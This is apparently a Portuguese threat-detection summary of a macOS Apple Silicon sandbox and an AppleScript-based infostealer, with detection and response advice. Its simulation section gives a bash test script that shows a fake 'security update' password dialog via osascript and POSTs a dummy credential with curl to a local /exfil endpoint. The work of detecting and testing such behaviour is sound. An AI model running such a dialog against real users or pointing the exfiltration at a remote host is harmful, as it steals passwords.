Miragem do macOS: Análise Dinâmica e Detecções Sigma para Apple Silicon

Resumo

O VirusTotal introduziu o macOS Mirage, um novo sandbox de análise dinâmica projetado especificamente para Apple Silicon (ARM64) e macOS 26. A plataforma oferece telemetria comportamental de alta fidelidade e detecções Sigma automatizadas para identificar ameaças em evolução no macOS, como ladrões de informações e malware de phishing de credenciais. Ela aborda a transição de sistemas Intel para ARM64 enquanto opera contra proteções modernas, incluindo a Proteção de Integridade do Sistema (SIP).

Investigação

O relatório analisa uma amostra de ladrão de informações do macOS, unix51436504, que utiliza AppleScript para phishing e cargas úteis de múltiplas etapas para persistência e roubo de dados. Pesquisadores traçaram o malware desde uma solicitação de senha enganosa inicial até a persistência baseada em LaunchDaemons e a exfiltração de dados do Keychain, Safari e Notas da Apple. O sandbox mapeou com sucesso esses comportamentos para técnicas relevantes do MITRE ATT&CK usando regras Sigma.

Mitigação

Embora nenhum patch de software específico seja detalhado, o relatório enfatiza o monitoramento de acessos não autorizados a locais sensíveis, como bancos de dados Keychain, TCC.db e LaunchDaemons. As organizações devem detectar o uso suspeito de utilitários de linha de comando, incluindo osascript, curl e ditto quando executados em contextos incomuns. Monitorar padrões de execução em múltiplas etapas e modificações inesperadas de arquivos em /tmp/ ou diretórios de usuário também é crítico.

Resposta

Quando esses comportamentos são detectados, os respondentes devem imediatamente isolar o dispositivo macOS afetado para evitar exfiltração adicional de dados. Investigue mecanismos de persistência, com atenção especial para /Library/LaunchDaemons e LaunchAgents a nível de usuário. Realize uma revisão abrangente dos dados do Keychain, credenciais do navegador e chaves SSH para possível comprometimento e redefina todas as credenciais sensíveis expostas.

Execução de Simulação

• Narrativa do Ataque & Comandos: Um adversário visa coletar credenciais de usuário apresentando um diálogo do sistema convincente, porém falso. O atacante utiliza osascript para acionar uma caixa de diálogo do macOS. Para imitar a lógica específica da regra de detecção (que procura por um erro de digitação específico ‘passwen’), o script usará intencionalmente essa string. Uma vez que o usuário “envia” a senha falsa, o script usa curl para fazer um POST dos dados capturados para um ouvinte remoto, simulando a fase de exfiltração de um ladrão de informações.

• Script de Teste de Regressão:

  #!/bin/bash
  # Simulação de Phishing de Credenciais do macOS Info-Stealer
  
  # 1. Acionar o diálogo falso (corresponde ao indicador1 e indicador2)
  # Nota: Usando 'passwen' para acionar a lógica específica na regra de detecção
  osascript -e 'set passwen to display dialog "Atualização de Segurança do Sistema: Por favor, insira sua senha do macOS para continuar" default answer "" with icon caution'
  
  # 2. Simular exfiltração via curl (corresponde ao indicador3)
  # Simulamos enviando a string "roubada" para um endpoint local/remoto
  curl -X POST -d "password=exemplo_credencial_roubada" http://localhost:8080/exfil
  
  echo "[+] Simulação completa. Verifique alertas no SIEM."

• Comandos de Limpeza:

  # Nenhum arquivo permanente foi criado durante esta simulação.
  # Se quaisquer arquivos temporários foram usados para preparação de dados, eles seriam removidos aqui.
  rm -f /tmp/stolen_creds.txt